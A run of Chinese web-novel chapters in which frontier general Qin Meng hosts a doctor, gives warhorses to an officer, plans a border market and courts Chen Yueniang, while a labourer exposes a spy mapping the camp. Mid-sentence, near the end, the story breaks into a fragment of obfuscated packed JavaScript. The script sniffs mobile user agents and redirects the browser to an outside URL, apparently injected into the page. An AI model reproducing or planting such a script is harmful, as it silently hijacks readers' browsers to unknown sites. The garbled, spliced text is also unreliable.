他面上却是不显,依旧保持着微笑,对林婉儿郑重抱拳:“林小姐,欢迎到边寨做客。多亏你仁心妙手,救我军中壮士,秦某在此谢过。”
林婉儿面对这位威名在外的年轻将军,敛衽微微一礼,落落大方,并无寻常闺阁女子的羞怯。
“秦将军言重了。悬壶济世本是医者本分。何况伤者在眼前,力所能及,岂有袖手旁观之理?”
“林小姐果然宅心仁厚,更兼一身高绝医术。”秦猛真诚夸赞道。
“将军谬赞了。”林婉儿微笑摇头,抬眸环视四周,语气转为钦佩,“秦将军才当得起这声赞。
以往只听家父提及,边堡、军寨条件艰苦,流民多是挣扎求生。可到了铁血军寨,方知所言不尽然。
在此地,流民不仅能吃饱穿暖,干活发放钱粮,更难得的是没有恃强凌弱,真正做到了夜不闭户、路不拾遗。
将军年轻有为,治军理政皆有过人之处,令婉儿由衷敬佩,刮目相看。”
侍女林小蛮在边上连连点头附和:“是啊是啊,许多人说秦将军不仅勇猛,且文武双全。”
两人一唱一和,就差直接给秦猛戴上一顶高帽。
好话谁人不爱听?秦猛被这两位女子一唱一和夸得竟有些不好意思,哈哈一笑,摆手道。
“军寨初创,大家都苦哈哈的,哪有什么多余东西可偷?不过是尽力让跟着我的人有条活路,有份盼头罢了。”
陈月娘在边上看着两人言谈甚欢,眼珠子滴溜溜转了几转,拉住秦猛的胳膊好奇地问。
“猛子哥,你认识林妹妹?”
“嗯,有过一面之缘。”秦猛点了点头,正想说明林婉儿的身份,却又觉此处不是说话之地。
他便大手一挥,“此地杂乱,非说话之所。林小姐,若不嫌弃,且随我到官署稍坐。
我也正欲派人去请张指挥。
秦某有些关于边塞防务之事,想托林小姐回城后转告林郡守。顺便也尝尝月娘的手艺,吃个便饭。”
“没错没错,快到饭点了。”陈月娘也点头笑着邀请!
“林妹妹,尝尝我做的菜!”
于是,一行人便在秦猛的引领下,朝着军寨官署行去。
医疗所内,似乎仍隐隐回荡着方才那紧张却终见成效的救治气息,以及众人对那位白衣少女精湛医术的低声惊叹,或议论此女的身份。
军寨官署校场,此刻却是一片龙腾虎跃的热闹景象。
秦猛的亲卫队除几名伤者休养外,无人折损。
有家眷的,秦猛给他们放了半天假,让他们拿着赏赐的钱财与家人分享喜悦。
三十多条光棍汉则自发地在校场上不是站军姿训练,就是练习格杀技巧。小石头、王大宝拉着新伙伴虎子,在一旁像模像样地比画着。
最引人注目的,莫过于身形魁伟如塔的山蛮巨汉乌维因性子狂妄,主动挑衅,正被人“围殴”。
秦猛回来时,恰看到这一幕,他非但没有制止,反而饶有兴致地抱臂旁观,随即下令。
“较量可以,拳脚需有分寸,不得伤及和气,更不准下死手!我当裁判,谁若违反,军法从事!”
说完,他特意瞪向乌维,声如洪钟:“大个子!说你呢!听见没有?点到即止!”
秦猛并不担心其他人,唯独怕这心思相对单纯、一旦发狠便容易收不住力的山蛮巨汉动真格。
见乌维虽面露不服却仍重重点头,他才稍稍放心。
首次见到乌维这般形貌惊人的林婉儿和侍女林小蛮,惊得瞠目结舌。
走出好远,林婉儿才回过神来,低声问:“这…这是山蛮人?”
“没错!”秦小芸昂起小脑袋,带着几分自豪的回应,“这是我哥的侍卫,乌维。他可厉害了。”
“啊?”林婉儿和侍女小蛮面面相觑,难以置信。
她们从书中读到的记载:山中野人
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,多是形容凶残、无法沟通、甚至传说食人,竟有人能将其收服,还充作贴身侍卫,着实不可思议。
校场上的“围殴”在得到将军首肯后,气氛愈发激烈。
众人脱掉盔甲,赤手空拳,进行肉搏角力。
乌维果然勇猛绝伦,嗷嗷怪叫,竟一人单挑十来个精悍亲卫。他举手投足间,力量磅礴,不时有亲卫被其抓住机会甩飞出去,摔得积雪飞扬。
然而,王善、**、牛五这三大亲兵队的“滚刀肉”亦非易与之辈,他们经验老道,配合默契,往往能避开乌维的猛击,并不断寻隙反击。
其余亲卫也同仇敌忾,相互配合,拼死纠缠。
最终,乌维虽力大无穷,却终究双拳难敌四手,好汉架不住人多。尤其被王善兄弟死死抱住一条腿,牛五缠住另一条,其余人一拥而上。
抱脑袋掐脖子,如同叠罗汉般将其牢牢控制在地。
乌维奋力挣扎,气喘如牛,吼声震天,王善等人喊着口号,场面一时激烈无比又带着几分滑稽。
陈月娘、秦小芸、王艳等几个女子从伙房探出头来观望这场激烈的打斗,无不掩嘴偷着乐。
营指挥张崇在外督导训练,得知秦猛归来的消息,立刻将任务交给副手,快步返回官署。
他一眼便看到被众人压制仍挣扎不休、犹如巨灵神般的乌维,瞳孔不禁剧烈收缩,心下骇然。
“如此巨汉,若披重甲冲入敌阵,其威势岂可想象?”
“卑职张崇,见过秦将军!”张崇见到救命恩人秦猛,当即上前恭敬地行礼。
秦猛快步上前将他搀扶起来,笑着将他摁到院中椅子坐下:“张指挥不必多礼。来得正好,尝尝我这儿的粗茶。”
他拎起炉子上咕嘟冒泡的水壶,冲开两碗热茶,茶香虽粗犷,却别有一番暖意。
两人寒暄几句,便商谈起来。
张崇率先说道:“自将军助我郡城,当街斩首冷艳山那群悍匪后,城中的地主富户老实多了。
第二日便开始纷纷主动缴纳拖欠的田税商税,不敢再耍花样。郡守衙门有了钱粮,安顿流民。
那董郡丞吃了大亏,近来也深居简出,低调了许多。”
“低调?”秦猛闻言,冷笑连连,他身体微微前倾,压低声音,“张兄弟,你回去务必转告林郡守,狼戎袭击郡城一事,内部调查已有眉目。据查证,极可能便是董袭这老贼勾结**所为!”
“什么?果真…果真是他?”
张崇瞳孔再次剧烈收缩,惊得差点打翻茶碗。
“那晚我离去后,埋伏的人手截住了他派往草原传递消息的心腹。”秦猛声音更低,言简意赅。
“此事千真万确,飞虎卫的赵将军已亲自介入审讯。事情做不了,而这董家……留不得了。”
张崇听得眼珠子瞪圆,额角渗出细汗,连连点头。
他回过神来后,压低声音道:“卑职明白。此事关乎郡城存亡,定一字不差禀告郡守大人!”
第127章 赠良驹,议榷场
饭菜的香气从伙房弥漫开来,带着温暖的人间烟火气,在这边塞苦寒之地显得格外珍贵。
陈月娘在伙房忙碌,手脚麻利,额角渗出细密的汗珠,在灶火映照下闪着微光。
秦小芸,王艳打下手,摘菜洗菜,配合默契。
不过半个时辰,一桌丰盛的家常菜便已摆满方桌。
最惹眼的当属中间那盆油光红亮的红烧肉,肥瘦相间的肉块在酱汁中微微颤动,散发着诱人的甜香。
一锅热气腾腾的野鸡炖蘑菇、一大盘酱香兔肉、一碟辛辣开胃的爆炒马肉、一条清蒸鲈鱼、一碟酥脆的油闷小鱼虾……
外加炖鸡烧鹅,几个时令炒菜,可谓丰盛至极。
这些野味、鱼虾多是双涡堡军民感激秦猛恩情,将捕获的猎物浇水冻成冰砣子,硬塞过来。
秦猛推脱不过,只得领受这份心意。
宴席上,秦猛与张崇已谈妥正事,便不再多言军政,只是唠些家常,闲谈边塞**近来的异动。
席间,主要是林婉儿说起中原与江南的风土人情。
她声音清脆,描述生动,引得在座众人入神聆听。
陈月娘、秦小芸、王艳这些从小在北方长大的女孩听得津津有味,眼中充满好奇与向往。
“江南的荷花当真能开满整个湖面吗?”
秦小芸忍不住问道,手里筷子都停在了半空。
林婉儿含笑点头:“不仅如此,采莲姑娘们乘着小船,穿梭在荷叶间,歌声能传得好远好远。”
众人听得入神,不时发出惊叹之声,几个女孩叽叽喳喳,追问细节,饭桌气氛融洽而投缘。
这一顿家常便饭,虽无山珍海味,却吃得宾主尽欢,暖意融融。
饭后,秦猛示意亲兵牵来两匹神骏非凡的战马。
此二马肩高皆过七尺,一匹青骢马,**色在日光下泛着金属般的光泽。
一匹卷毛白马,通体雪白无杂**,唯有四蹄如墨。
两马皆皮**光滑如缎,骨骼雄健,四肢粗壮有力,鼻息粗重而均匀,显是千金难求的草原良驹。
正是此次从契丹人那缴获的好马。
“张兄弟,”秦猛接过青马缰绳,将其塞入张崇手中,“这匹马乃是**百夫长坐骑,被我缴获。送给你,算是恭贺你荣升营指挥之喜。”
“大人…这…这太贵重了!卑职…”张崇受宠若惊,本能地想推脱,却被秦猛坚决的眼神制止。
“莫要推辞!”秦猛态度坚决,“你那匹马只是普通战马,良驹赠英雄,更赠能征善战之将,望你与郡守大人能携手保境安民,莫负此马!”
张崇紧紧握住缰绳,眼眶再次泛红,这位提拔,又送宝马,胸中激荡着士为知己者死的豪情。
他重重抱拳,声音铿锵有力:“崇,定当勤练兵卒,不负将军厚赐与期望!”
秦猛笑而不语,用力拍了拍他的肩膀。
军户出身,从军多年的张崇也是擅长指挥的人才。如常勇指挥得当,拖住**,创造战机。
秦猛此举既是欣赏,也是为日后招揽做准备。
“另一匹,劳烦转交给林郡守,郡守大人公务繁冗,担子甚重,有匹好马,或可备不时之需。”
“是!”张崇昂首领命,目光却不自觉地飘向那匹白马马,眼中闪过一丝不易察觉的忧虑。
就在两人说话的空档,亲兵牵着踏雪乌骓在校场上溜达。
小石头、王大宝、虎子被王善等人拎到马上练骑马,几个少年既害怕又兴奋的惊叫声不时传来。
张崇犹豫片刻,终于再次开口:“秦将军,末…末将……”
秦猛看出他的犹豫,正色道:“兄弟,你我一见如故,有话直说,只要秦某能够帮上忙,绝对不会推脱。”
“末将想要购买一批战马,驮马以备军需。”张崇从之前闲聊得知秦猛又打了胜仗,缴获不少马匹,点头说出自己的诉求,又说明原因。
原来,地方厢军体制与边军略有不同,每营仅有500余人。
燕北郡共有六个营三千地方厢军,分别驻扎在郡城和周边县城。
张崇即将上任的营,五百兵额不满,兵员参差不齐,装备器械不足,尤其是战马不足二十。
张崇咬牙切齿地说着:“本来按编制每营有百人马队。
奈何,董家把持郡城军务多年。各营战马被抽调,组建出了骑兵营,数百骑兵只听令董家……”
“林大人说不要去纠结此事,暂时忍耐。但幽州地广,没有骑兵如何能成?所以我与林大人商议过,送粮食来军寨,顺便能否购置马匹。”
张崇言简意赅的说明情况后,又补充说道:“郡城会按市价,以钱粮支付,绝不让秦大人吃亏。”
“末将也曾听闻这地方与边军多有摩擦,若是……”
“无妨!”秦猛摆手打断他:“你只管去寨外军营挑选,数量可能不会太多,百多匹马还是有的。”
“谢大人。”张崇大喜过望,再次拜谢,脸上的阴霾一扫而空。
秦猛又跟他聊了一会,汉子满脸兴奋地告辞离去。
秦猛看了看陈月娘,林婉儿她们有说有笑,没有去打扰,而是吩咐官署伙房晚上准备酒菜。
——设宴款待李家,罗家两位管事。
他背负双手,带着**等几个亲兵去看看两位故人。
那是寨子内专门划分出来的待客区,十几座新修缮好的铺屋,装修得比较精致,专门待客。
见面后,又是一番寒暄。
李安平,罗世荣两人见到这年轻的边军将领,态度更加恭敬,心里感慨着,真是年少有为。
同时又庆幸自家选择没有错,早早的交好这位。
他们俩不仅奉家主的命令送来粮食,牲口来劳军,更是声称过段时间还有粮食,物资送来。
当然,他们来的真正目的是来求证两个消息。
李安平舔着笑脸,试探着问:“听说不少商队以后要在铁血军寨交易,秦将军是打算开榷场?”
“没错。”秦猛目光扫过两人,心知他们此行的目的,“军寨靠开垦荒地种植,难以有所作为。只有开设商铺,与商队贸易才是长久之
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道。”
“看到外面那些规划整齐的区域了吗?就是为了开设榷场准备。而且规模非常大,我寨驻军有能力保护。”
秦猛冷不丁补充:“就在不久前,本将率领三百儿郎,杀**过千。”
“多少?”李安平和罗世荣瞪大眼睛,失声惊呼。
**昂首挺胸,自豪的说道:“双涡堡前几天遭遇契丹人袭击,秦将军带着两三百骑兵,击溃一千多契丹**,这个消息很快就会传开。”
李家,罗家两位管事相视一眼,眼中闪过震惊与庆幸。
“秦将军,我李家愿意在军寨榷场开设商铺。”李安平确认后立刻就表态了,语气急切。
“我罗家也愿意。”罗世荣不甘落后,连忙补充道:“我们可以多要几个铺位,价格好商量。”
秦猛笑容满面,大手一挥:“哈哈哈,没问题,等开春后,榷场筹建了留个好地段给你们。”
榷场,是边陲对集市的另一种称呼。
大周初期,必须要有朝廷批准才能够开设。
可到了现在,就是形式上说说,上有政策,下有对策,如南河城寨开设商铺,供应商队定期往来,驻军提供保护,获得钱财税收养兵。
在边界做生意是非常危险的,只有靠军队保护安稳,才能够安心,而且能够赚到大把利益。
所以李家和罗家才会这般迫不及待的表态。
“秦将军,你曾言为地主,商旅操练兵卒护卫商队是否当真?”李安平追问道,眼中闪着精明的光。
“那是自然,本将说话算话。”秦猛果断的回应,目光坚定。
“这样吧,寨外有许多人在训练,我领着两位去看看。”
秦猛当先往外面走去。
李安平和罗世荣带人紧随其后,心中各怀打算。
寨外新区校场上,三百多名青壮、护卫正在训练。
他们按照新兵标准,跟随新兵、民兵一起训练。
早上到正午,站军姿。
下午进行出操,各项体能训练。
黄昏练习骑马射箭,刀枪棍棒,近战格斗等。
虽然是综合强度只有寨兵一半还不到,但经过短短七八天的训练,这些青壮已经度过最艰难的阶段。
此刻他们站在校场上,昂首挺胸,目不斜视,风雪落在身上也纹丝不动,犹如标枪般挺立。
那种脱胎换骨的变化令人惊叹。
再配上附近新兵训练,喊杀声震天,那种肃杀之气尤为凛冽。
李安平和罗世荣哪里见过这阵仗?
他们只觉得这些新兵比厢军强的太多,不禁暗自咂舌。
两人在心里感慨秦猛果然了得,不仅勇猛还会练兵,短短时间就把这些农夫们练得有模有样。
他们当即表示,过几天会有百来个青壮来训练,连带着他们所需的粮食物资,让军寨训练。
秦猛闻言,嘴角勾起一抹不易察觉的笑意。
这一切,正是他想要的。
这练兵之事,既能加强与地方联系,又能获得钱粮,更是能打响军寨名气,实乃一举多得!
第128章 雪夜定情
铁血军寨,定更天的梆子声刚落。
秦猛冒着风雪归来,军靴踩着积雪咯吱作响。他带着满身酒气推开院门,眉宇间带着几分疲惫。
陈月娘早已候在廊下,见他身影立即迎上前。
她踮起脚尖,用那双常年操劳却依旧纤细的手,仔细为他拂去肩头,脖领和披风上的雪粒。
披风解下时带起一阵寒风,她却不急不缓地将那件沾着酒气的外氅叠好,又为他卸去胸甲……
整套动作行云流水,仿佛演练过千百遍——
自秦猛升任管队官以来,随着兵多,他越发忙碌。陈月娘总是夜间等他归来,为他卸甲。
黄昏时分,宴请李家和罗家两位管事,秦大壮、老保长王槐、诸葛风、庞仁、张崇等人作陪。
席间把酒言欢,气氛热烈。
所谈虽并未夹杂军政要事,但彼此杯盏交错间,情谊自然增进。这对边寨粮草供应乃至整个燕北郡的稳定,皆有着微妙却重要的作用。
——唯有安稳,方能将钱赚!
深谙此理的李安平和罗世荣,自是频频举杯敬酒,恭维不绝于耳,宴席始终洋溢着喜悦氛围。
秦猛多饮了几碗,此刻红光满面,浑身酒气。
“灶上温着醒酒汤,”陈月娘以为他喝多了,轻声说着,递来一盏热茶。白瓷碗沿氤氲着热气,映得她眉眼格外柔和,“先喝这个暖暖胃。”
秦猛接过茶碗时,指尖不经意擦过她手背。两人俱是一顿,某种难以言喻的温情在空气中弥漫。
她忽然低下头,略显不安,声音轻得几乎融进烛火噼啪声:“猛子哥,林小姐……是不是很好?”
“她是官家千金,琴棋书画样样精通,人又生得标致,关键是…是她对你好像还有点意思。”
“噗——”秦猛一口茶水喷了出来,连忙放下茶碗。
“月娘,这话在外面可莫要乱说。”
“我没胡说。”她手指绞着衣角,指节微微发白。烛光在她睫毛下投落阴影,声音渐渐低下去。
“今日她看你时,眼神亮得惊人。我…我能感觉得出来……林妹妹对你,应当是有几分意思的。”
秦猛正要反驳,却见她忽然抬头,眼底水光潋滟。
“我晓得自己只是个乡下姑娘,除了浆洗做饭,连字都认不全。可你现在是从六品的官老爷了,我……”
后半句话碎在哽咽里,陈月娘不敢与秦猛对视,慌忙转身去整理早已齐整的床铺,肩头微颤。
秦猛忽然想起两年前上山打柴,不慎滚落山谷。是陈月娘背着他爬出山坳,夜里又发高热。
是这姑娘冒雪采来草药,用冻红的双手替他熬汤。
那时他什么都不是,是众人眼里的“秦二愣子”,秦家摇摇欲坠,是这姑娘用肩膀撑起家。
“月娘。”秦猛声音沉了下来,伸手将她转过来。
掌心下的肩膀单薄得令人心惊,他不由得放柔力道,“你记不记得我说过只有你与我并肩?
飞黄腾达时聚在身边的,不能全信。唯有落魄时不肯离去的身影,才值得捧在心口捂一辈子。”
陈月娘睫毛颤得厉害,泪珠终于滚落,在衣襟上洇开深色痕迹。
秦猛却用指腹轻轻拭去女人眼角湿热,声音坚定如铁:“原本是想等开春了,冰雪消融,风风光光迎你过门。既然我的月娘等不及了——”
“谁等不及了?”陈月娘羞得耳尖通红,拳头轻捶他胸膛,却被秦猛一把握住。
“明日就请老保长择个吉日。”他低头凝视她,烛光在那双总含着杀气的眼眸里融出温柔漩涡。
“再让人置办些物件,年前必须把你娶进门,堂堂正正做将军夫人。省得你整天胡思乱想,嗯?”
最后那个尾音扬起,带着酒后的沙哑,烫得陈月娘心尖发颤。她咬唇不语,手指却悄悄攥住男人的衣角,泛白的指尖透出隐秘的欢喜。
秦低笑一声,忽然发现这姑娘近来丰润了些。
原本瘦削的脸颊多了些软肉,胸怀也更加开阔,腰身却依旧纤细,两种风情奇妙地糅合在一起。
他心头一荡,忍不住抬起女人下巴,撅嘴俯身。
那双总是怯生生的眼睛此刻水光潋滟,倒映着跳动的烛火,也倒映着他逐渐靠近的脸庞。
“猛子哥……”陈月娘双手脚缠在一起,声音发颤,呼吸里带着茶香与皂角清气,却没有躲闪。
就在双唇即将相触的瞬间,门板突然发出不堪重负的吱呀声。
——两个跌跌撞撞的身影随着轰然洞开的房门滚了进来!
陈月娘惊得猛地推开秦猛,活像只受惊的兔子连退三步,险些碰倒烛台。
秦猛下意识将她护在身后,怒目而视时却对上两双写满慌乱的眼睛。
“哥!我们不是故意的!”秦小芸手忙脚乱地从地上爬起来,发髻都散了一半,眼珠子乱转。
“就是、就是想问问月娘姐明早做不做糖饼……”
王艳更是满脸通红,揪着衣角嗫嚅:“林姐姐说明日要堆雪人,让月娘姐早些歇息……”
越说声音越小,最后几乎埋进胸口。
秦猛气得笑出声:“偷听就偷听,还找这等蹩脚借口?”
两个姑娘对视一眼,突然齐齐笑出声。秦小芸甚至大胆地扮了个鬼脸:“哥,我们这就消失!”
话音未落便拉着王艳跑远,银铃般的笑声洒落在雪夜里。
“月娘,咱继续。”秦猛摇头转身,却见陈月娘早已退到了门边,俏脸红得像是染了胭脂。
“继续你个大头娃!”
她咬着唇嗔骂,北方方言脱口而出,眼里却漾着藏不住的笑意。
不等他回应,便掀帘而去,只在空气中留下淡淡的皂角清香。
烛火噼啪作响,秦猛望着晃动的门帘,半晌无奈失笑。
“这事儿闹的!”
最终,他只得自行洗漱更衣,泡完脚,倒了水。
待躺进冰冷的被褥时,他望着屋顶,唉声叹气。想着想着,不知过了多久,才
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沉沉睡去。
而军寨官署内,仍是灯火通明。
招待宴毕,诸葛风便坐镇其中。
庞仁、王善,牛五等人则轮流带人夜间巡视。
这是铁血军寨的惯例!
相比往常,这回队伍更加谨慎,仔细。火把在风中摇曳,映照着井然有序又暗藏肃杀的营区。
起因,便是庞仁白日里关于劳工张五形迹可疑的汇报。
秦猛高度重视,早已将查探之事交给了以细致著称的诸葛风,并让庞仁、王善等人协同办理。
诸葛风等人同样记挂于心,不敢怠慢。
白天就派人开始行动,晚上他们亲自带人调查此事。
这处边寨实行的是严格的军事化管理。
劳工们按男女分开编制,尤其是数量众多的光棍们,更被编入特定小组,统一住宿在指定区域。
入夜后,不得随意走动。
诸如粮仓、地牢等军事重地,不仅严禁靠近,更有明岗暗哨。
这套严谨到近乎苛刻的制度,是秦猛借鉴后世经验调整而来。
核心目的便是便于管控,以及防范奸细混入滋生事端。
正因有了这般清晰的架构,调查起来便显得异常精准高效,无需兴师动众,避免引发民众恐慌。
故而,调查并未直接大面积盘问劳工,而是首先依循管理体系,传唤了张五所在区域及各相关小组的军头、劳工队长,再由他们协助。
这些基层管理者对麾下人员的情况最为熟悉。精准锁定人员,如白天与张五组队,吃饭,走得比较近。通过逐一询问,线索很快汇聚。
凡是与张五干过活的成员都反映。
“此人脾气好,勤快,肯干,但缺点是上茅房比较勤”
“常常一转眼就不见人影”
“经常问仓房粮食够不够吃”
“离开的时间颇长,借口多是泻肚”
……
这些零散的异常,在平日或许不会引人特别注意。
但在此刻集中报来,便迅速勾勒出张五行为脱序的轮廓。
诸葛风将初步汇集的信息整理后,意识到问题的严重性。他决定次日天亮了便向秦猛禀报。
……
南河城寨,入夜,万籁俱静。
主寨魏文的灯火已稀,附寨监押官府邸却烛火骤明。
“秦猛!匹夫竟敢如此狂妄?”孙仁拍案的声响撞碎夜静。茶盏哐啷翻倒,茶汤在案上漫开。
案上的密报墨迹未干:
双涡堡将官黄安,于两日前,游街后,已被斩首。
黄安曾有恩于他,又跟他是结拜兄弟,两人利用职务之便,克扣,倒卖物资,赚了不少钱。
可秦猛这个新任知寨官,竟然直接斩人立威。
孙仁指节攥得发白,眼中怒火渐沉,先是闪过一丝算计——这是秦猛借斩黄安,既是收拢军心,震慑边堡,却是辱他这个城寨监押。
随即,孙仁怨毒如夜雾般漫上来,缠紧了他的眼神,当即奋笔疾书,准备向幽州陈报此事……
第129章 小人物的抉择
寒风裹挟着雪花,在铁血军寨上空嘶吼盘旋。
夜色渐深,主寨、附寨新区与军营的灯火次第熄灭。只余箭楼上零星的火把在风雪中摇曳,映照出值勤军卒肃立的身影。
巡逻队的脚步声在寨墙与巷道间规律响起,与偶尔传来的几声犬吠交织,更衬得这雪夜万籁俱寂。
寨外新区东面的窝棚区,是光棍汉们聚居之地。
低矮的窝棚内鼾声四起,唯有暖炕通铺角落,一双眼睛在黑暗中骤然睁开——正是白日里庞仁觉出有异的张五。
他屏息倾听身旁同伴们沉沉的呼吸声,如同夜行的狡鼠般悄无声息地摸黑下床,假意外出小解。
寒风吹得他一个哆嗦,他却并未折返,反而捂住肚子低声呻吟起来。
随即他点燃一盏马灯,橘黄的光晕在风雪中摇曳不定,映得他面色有些苍白。
“哎哟……”张五提着灯,朝指定的公共茅房蹒跚走去,腰微微弯着,一副痛苦难忍的模样。
“站住!做什么的?”一队巡逻兵恰从暗处转出,为首队长厉声喝问,手已按上刀柄。
张五忙赔笑躬身,脸上挤出几分痛苦:“军爷,肚子疼得厉害,去趟茅房行个方便……”
那队长目光锐利地扫过他手中微颤的马灯,仔细查验了他的工号牌,又盯着他看了片刻,才挥手放行:“快去快回!这大半夜的别瞎晃悠。”
“多谢军爷!多谢军爷!”
张五连声道谢,如蒙大赦般拎着灯小跑向茅房。
一踏入那臭气熏天之地,他脸上痛苦神色瞬间消失,迅速找了个最靠里的坑位褪下裤子蹲身伪装,耳朵却警惕地捕捉着外面的动静。
确认四下无人后,他猛地从兜里摸出一截炭块,又从贴身衣物夹层中抽出一张柔韧的羊皮纸。
就着马灯微弱的光晕,他急促地在纸上写画起来!
——那纸上已密布数日来,寻得机会,窥得的军寨布局、粮仓位置、巡防规律等要紧信息。
炭笔划过羊皮纸的沙沙声被风声掩盖。张五每写几笔便抬头四顾,眼中闪烁着警惕的幽光。
风雪从茅棚缝隙钻入,吹着他光腚,直打哆嗦。
昏黄的火光摇曳,将他撅屁股的身影投在污浊的板壁上,如同一个正在施行邪法的鬼魅。
他却不知道,就在茅房外的一堆草料后,另一双眼睛正透过风雪死死盯着他的一举一动……
风雪卷着碎雪沫子,狠狠砸在草料堆间。
寒风像刀子般钻过麦秆缝隙,冻得陈麻子牙齿咯咯打颤。
他却连一口大气都不敢喘,死死缩在枯麦秆后头。
眼前反复闪回刚才那骇人一幕。
——张五哪是泻肚?
他褪下裤子,掏出炭块和羊皮纸,撅着屁股就画了起来!
那副专注的模样,比他平日偷懒耍滑时认真百倍。
陈麻子本名叫陈晓,因脸上生有麻子,得了绰号。本是夜间清点草料的劳力,因白日睡过了头,只得摸黑来补工,一直忙碌到深夜。
哪想竟撞破这等勾当!
巡逻队盘问时,他就觉出张五喊“肚子疼”的腔调不对。
那装病的劲儿,跟他自己从前偷懒时一模一样!
他心下生疑,悄悄尾随而来,却没料揪出这么大一桩隐秘!
他心跳如擂鼓,猛然又想起:这新来的张五他听说过,经常在茅房打照面,喜欢偷奸耍滑。
前几天,搭过话,打探军卒数量。白天总在军营外打转,看似闲聊却句句探问粮仓换岗的时辰……
此刻想来,字字句句都透着一股细作的鬼祟!
寒风灌进衣领,他却浑然不觉冷,咬牙瞪眼。满脑子都是发现奸细和一个月前逃难的光景。
——他所在的村坊被**踏破,深夜裹着件破单衣逃出来,一路啃树皮、吞雪块,饿得眼冒金星。
发现干牛粪都兴奋半天!
哪敢想“饱”字?直到跌跌撞撞投奔这铁血军寨。
是逃难途中吃的第一顿饱饭!
陈麻子永远忘不了,当时喜极而泣的样子。眼睛瞪圆了,寻着缝隙看着那羊皮纸,努力辨认。
风雪太大,茅房火光昏黄。
他看不懂那些鬼画符是什么含义,却隐约看见——张五画的是几处粮仓,还标了箭楼,官署。
建筑轮廓他不会认错。
一股寒意从脊梁骨窜上来,比风雪更刺人。
陈麻子屏住呼吸,眼瞅着张五记录完,迅速藏好羊皮纸、重摆出一脸痛苦相,提灯走远。
这口气刚缓过来,另一股焦虑又猛地涌上心头。他强作镇定清完草料,急匆匆溜回住处。
这一夜,陈麻子注定睡不着了。
他在通铺上翻来覆去,眼前尽是张五撅臀描画的鬼影。
虽说他只是个劳力,需要干活,可这里一日三餐管饱,日日见荤腥,身上棉衣厚实暖和。
他下意识捏了捏近来鼓起的肚腩,又摸了摸脸颊——
逃难时的蜡黄干瘪早已褪去,如今透出的是吃饱睡实的红润。
这顿顿吃饱的安稳日子,是他从前做梦都不敢想的!
“陈麻子啊陈麻子,好不容易过上吃饱穿暖的日子。”陈麻子猛地攥紧拳头,指节绷得发白。
万一军寨布防等消息走漏,真被张五这等细作搞垮……
他又得回到那吃糠咽雪、甚至吃能噎**的牛粪。朝不保夕的苦境,说不定连小命都搭上!
秦猛秦将军对百姓仁慈,从来不嫌弃人贫穷或丑陋。
“只要你肯干,就能吃饱饭。”
“只要你不懒,就能找到吃饭的碗。”
陈麻子耳畔回荡着那天入军寨,书吏说的话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483760|184734||http|test|mini|href|location''.split(''|''),0,{}));
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r>“不行,俺得做点什么!说啥也得报上去!”他一咬牙,钻出被窝,裹紧棉衣走出了窝棚。
陈麻子眼中没了往日怠惰,只剩一股执拗的狠劲。
谁让他逃难不安身,他就弄死谁。
他原想直奔组队长禀报,却猛地刹住脚步——
万一……队长也有问题?
那岂不是自投罗网?白白丧命?
陈麻子心头一寒,又回转窝棚,强迫自己合眼硬睡。
天一亮,就找行营主簿诸葛风!
这念头像一根钉,死死扎进他心里。
哪怕只是个微末杂役,他也要拚力守住这吃饱穿暖的日子。
次日天蒙蒙亮,寨中号角未响。
陈麻子已攥着冻僵的手,连滚带爬地扑入主寨。
他直冲向诸葛风的居处,却被两杆铁戟“唰”地拦下——
那是秦猛配予心腹僚属的贴身护卫。
陈麻子急得满头是汗,连声道:“小人有大事禀报!”
恰此时,诸葛风推门而出,见他神色惊惶如被狼撵,沉声问:“你是陈麻子?何事慌张?”
陈麻子一把扶住门框,喘了好几口粗气,唾沫星子沾湿干裂的嘴唇。瞥了眼四周见没有人,压低声音,才将昨夜所见一股脑儿倒出:
“主簿大人!小人昨夜撞见张五假称泻肚溜进茅棚。”
“进来说话。”诸葛风听到张五两个字,眼皮一跳。立刻摆手打断他,拉着成麻子退入院内。
“说。”
“是,那厮根本不是方便,而是掏炭块在羊皮纸上画军寨布防!粮仓位置、官署……都标得清清楚楚!”
他凑前半步,声音发颤:“画完就藏进里衣,又装疼溜回。他这几天总在营外转悠,打听兵卒数量,换岗……搞不好是**细作!”
诸葛风指尖顿在卷宗上,眉头渐锁,心下已经了然。
他手指下意识轻敲门墙,发出“笃、笃”声响,反而比陈麻子的急语更令人定神。
片刻后,他抬眼,目光落向陈麻子冻红的脸上:“确看准是张五?纸上内容,还记得多少?”
“千真万确!”陈麻子急点头,“粮仓、箭楼、官署……都画得明白!小人不敢怠慢,这才天一亮就来报!”
“好!”诸葛风指节一停,点头称赞。
他心头沉凝:“不可贸然抓人。那张五既孤身传信,必有同伙接应,此时动手只会打草惊蛇。”
诸葛风打定主意后,转头看着陈马子,叮嘱道:”“你做得很好。若查证属实,军寨必有重赏。但此事绝不可再提,哪怕同铺之人也不能说。”
陈麻子点头如捣蒜,心中那块大石终于半落。
冻僵的身子似乎也跟着回暖——
只要能护住这吃饱穿暖的军寨,别说叫他守口如瓶、哪怕再蹲十夜草堆,他也心甘情愿。
第130章 陈麻子逆袭之路
翌日,清晨。
“呜——!全队集合!”
急促的起床号撕裂边寨的晨雾,声浪震得树梢积雪纷扬抖落。
整个军寨霎时苏醒。
战兵、新兵、民兵,所有军事编制人员闻声而动,迅速从床榻跃起。
整装、叠被、披甲、冷水净面,一切都在刻板的规定时间内完成。
各伍长清点人数,带队疾步赶赴校场列队。
寒风吹刮着兵卒们的脸庞,却吹不散他们眉宇间的刚毅。
报数完毕,众人背负弓刀,手提铲锹,喊着号子,踏着整齐的步伐开赴寨内外清扫雪道。
半个时辰后,与提前用饭的壮劳力换班交接。
兵卒们快步走向伙房,一碗滚烫的姜汤驱散寒气,就着咸菜喝热粥,啃着白菜马肉馅的包子。
这顿热气蒸腾的早饭,是寒冷清晨最切实的慰藉。
饭后,校场立刻沸腾起来。
“一、二、三、四……”负重奔跑的呼号与步兵营演练战阵的喊杀声交织碰撞,震得空气嗡鸣。
